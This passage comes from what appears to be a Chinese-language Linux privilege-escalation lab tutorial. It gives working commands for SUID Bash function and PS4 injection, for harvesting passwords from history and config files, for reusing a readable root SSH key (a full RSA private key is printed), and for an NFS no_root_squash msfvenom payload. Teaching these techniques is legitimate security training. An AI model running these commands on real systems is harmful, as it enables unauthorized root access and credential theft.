"PATH=/usr/local/bin:/usr/bin:/bi"..., "MAIL=/var/mail/user", "_=/usr/sbin/service", "PWD=/home/user", "LANG=en_US.UTF-8", "HOME=/home/user", "SHLVL=2", "LOGNAME=user", "SSH_CONNECTION=192.168.175.130 4"...]) = 0[pid 4893] execve("/usr/bin/basename", ["basename", "/usr/sbin/service"], ["TERM=xterm-256color", "SHELL=/bin/bash", "HISTSIZE=1000000", "SSH_CLIENT=192.168.175.130 41318"..., "SSH_TTY=/dev/pts/1", "HISTFILESIZE=1000000", "USER=user", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "MAIL=/var/mail/user", "PATH=/usr/local/bin:/usr/bin:/bi"..., "_=/usr/bin/basename", "PWD=/home/user", "LANG=en_US.UTF-8", "SHLVL=3", "HOME=/home/user", "LOGNAME=user", "SSH_CONNECTION=192.168.175.130 4"...]) = 0[pid 4894] execve("/usr/bin/basename", ["basename", "/usr/sbin/service"], ["TERM=xterm-256color", "SHELL=/bin/bash", "HISTSIZE=1000000", "SSH_CLIaENT=192.168.175.130 41318"..., "SSH_TTY=/dev/pts/1", "HISTFILESIZE=1000000", "USER=user", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "MAIL=/var/mail/user", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/user", "LANG=en_US.UTF-8", "SHLVL=3", "HOME=/home/user", "LOGNAME=user", "SSH_CONNECTION=192.168.175.130 4"..., "_=/usr/bin/basename"]) = 0a
4.可选地,我们也可以用跟踪验证:
ltrace /usr/local/bin/suid-env2 2>&1 | grep service
这表明system功能正在用于执行/usr/sbin/service计划
5.验证 Bash 版本低于 4.2-048:
bash --version
6.创建 具有"/usr/sbin/service"名称的 Bash 功能 并导出 该功能:
function /usr/sbin/service { /bin/bash -p; }export –f /usr/sbin/service
7.执行用于根壳的 SUID 文件:
/usr/local/bin/suid-env2 [email protected]:~# id uid=0(root) gid=0(root) groups=0(root)
前言
Bash具有调试模式,可启用–x命令行选项,或通过修改 SHELLOPTS 环境变量以包括 xtrace启用。
默认情况下,SHELLOPTS是只读的,但是env命令允许
外壳选择待设置
在调试模式下,Bash 使用环境变量 PS4 显示调试语句的额外提示。此变量可以包括嵌入式命令,该命令每次显示时都会执行。
如果 SUID 文件通过 Bash 运行其他程序(例如使用system), 这些环境变量可以继承。
如果执行 SUID 文件,此命令将使用文件所有者的权限执行。
在 Bash 版本 4.4 及以上中,PS4 环境变量不会由作为root运行的外壳继承。
实操
1.在目标上查找苏伊德/SGID 文件 :
$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
这个suid-env2文件在root用户权限下执行
2.在SUID文件上运行字符串:
$ strings /usr/local/bin/suid-env2 /usr/sbin/service apache2 start
该文件可能正在尝试运行/usr/sbin/service程序
3.我们可以用策略来验证这一点:
$ strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service
4.可选地,们也可以用Itrace验证:
$ ltrace /usr/local/bin/suid-env 2>&1 | grep service
这和上一步操作都是一样的 下面开始
5.运行支持bash调试的SUID文件,并分配给我们的有效载荷的PS4变量:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash)' /usr/local/bin/suid-env2
6.使用 -p 命令行选项运行 /tmp/rootbash文件以获取root:
/tmp/rootbash -p
密码
虽然这看起来可能很漫长,但弱密码存储和密码重复使用可能是升级权限的简单方法。
虽然root用户的帐户密码被隐藏起来,并安全地存储在/etc/shadow中
但其他密码(如用于服务的密码)可能会 以普通文本存储在配置文件中。
如果根用户将密码重新用于服务则可能会找到该密码并用于切换到根用户。
历史文件
历史文件记录用户在使用某些程序时发出的命令。
如果用户将密码键入命令的一部分,此密码可能会存储在历史记录文件中。
尝试使用发现ed 密码切换到根
1.查看用户/home目录中隐藏文件的内容,文件名以"历史记录"结尾:
cat ~/.*history | less
两次q退出来
似乎连接到MySQL服务器的用户
rootpassword123
2.su 登录
前言
许多服务和程序使用配置(配置)文件来存储设置。
如果服务需要对某件内容进行身份验证则可能会将凭据存储在配置文件中。
如果这些配置文件是可访问的,并且它们存储的密码被特权用户重复使用,我们也许能够使用它作为该用户登录。
实操
1.列出用户家庭目录的内容:
ls
2.查看myvn.ovn 配置文件的内容:
$ cat myv*n.ov*n
发现OpenV*N验证用户的纯文本内容
3.查看文件内容:
cat /etc/openv*n/auth.txt
4.使用su 登录
su
前言
可以使用 SSH 密钥而不是密码来验证使用 SSH 的用户。
SSH密钥成对提供:一个私钥和一个公钥。私钥应始终保密。
如果用户不安全地存储了其私钥,则任何能够读取密钥的用户都可能能够使用它登录到他们的帐户。
实操
1.root用户的ssh密钥存储在.ssh
ls -l /.ssh
并且文件root_key是可读的
2.查看root_key文件的内容:
cat /.ssh/root_key
3.将root_key文件复制到kali并加权以便 SSH 接受它:
注意格式问题
-----BEGIN RSA PRIVATE KEY-----MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNmgLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExlp4oSmTxYnO0LDcsezwNhBZn0kljtGu9p+dmmKbk40W4SWlTvU1LcEHRr6RgWMgQoOHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HDeV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YCkXJRp7Hgy/QkFKpFETZ36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAoIBAQDDWdSDppYA6uz2NiMsEULYSD0z0HqQTjQZbbhZOgkS6gFqa3VH2OCm6o8xSghdCB3Jvxk+i8bBI5bZYaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+5JNyccuvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244elWUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1VkF/2FFPvwi1JCCMUGS27avN7VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N76JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW1X+343539fKIcuPB0JY9ZkO9d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNy3K824ihKlQVDC9eYezWWs2pqZk/AqO2IHSlzL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6Wg07OXE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzcU7LXiuDNcl5u+Pihbv73rPNZOsixkklb5t3Jg1OcvvYcL6hMRwLL4iqG8YDBmlK1Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIKFJSSt5Cu2GxIH51ZiSXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GVd+oc5YlWXlE9bAvC+3nw8P+XPoKRfwPfUOXp46lf6O8zYQZgj3r+0XLd6JA561ImjQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFAl6t4njWnSUPVwbelhTDIyfa871GglRskHslSskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/okX2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4CLzB1T0CgYB2Ijb2DpcWlxjX08JRVi8+R7T2Fhh4L5FuykcDeZm1OvYeCML32EfNWhp/Mr5B5GDmMHBRtKaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgR4LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWNi7t9UNyayRmwejI6phSw==-----END RSA PRIVATE KEY-----
chmod 600 root_key
4.使用密钥进行连接到 SSH 服务器
ssh -i root_key [email protected]
NFS(网络文件系统)是一个流行的分布式文件系统。
NFS共享在/etc/exports文件中配置。
远程用户可以安装共享、访问、创建、修改文件。
默认情况下,创建的文件会继承remote用户的ID 和组ID(分别作为所有者和组),即使它们不存在 NFS 服务器上。
showmount -e <target>
nmap –sV –script=nfs-showmount <target>
mount -o rw,vers=2 <target>:<share> <local_directory>
Root Squashing是 NFS如何防止明显的特权升级。
如果远程用户是(或声称是)root(uid=0),NFS将改为"squash"用户,就好像他们是"nobody"用户一样,在"nogroup"组中。
虽然此行为是默认的,但它可以禁用!
no_root_squash是一个 NFS 配置选项,它关闭root的squash。
当包含在可写入的共享配置中时,识别为"root"的远程用户可以作为本地根用户在 NFS 共享上创建文件。
1.检查 /etc/exports 的内容,了解具有no_root_squash选项的配置:
cat /etc/exports
2.确认NFS 共享可用于远程安装:
showmount -e 192.168.1.25
3.在kali上创建一个文件夹,并安装/tmp NFS共享:
mkdir /tmp/nfs mount -o rw,vers=2 192.168.175.228:/tmp /tmp/nfs
4.使用kali上的root用户生成有效载荷并将其保存到安装的共享中:
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
5.确保文件具有 SUID 位集,并且每个用户都可执行:
chmod +xs /tmp/nfs/shell.elf
6.在目标机器上,执行文件以获取root:
/tmp/shell.elf bash-4.1
1.信息收集(id, whoami)2.运行Linux Smart Enumeration,并增加级别。3.运行LinEnum和其他脚本
快速查找home中的文件 目录和其他公共位置(例如/var,/backup,/var/logs)
注意:如果用户有一个历史文件,它可能有 重要的信息,比如命令或者 密码
Sudo,Cron jobs,SUID文件
好好看看root进程,列举它们的版本,检查可以转发到的内部端口
最后考虑内核漏洞,进行提权。
最后请大家谨记网络安全法,遵纪守法,不要擅自做违法的事情,后果自负
希望此文对大家有帮助!
注:如有侵权请联系删除
学习更多技术,关注我: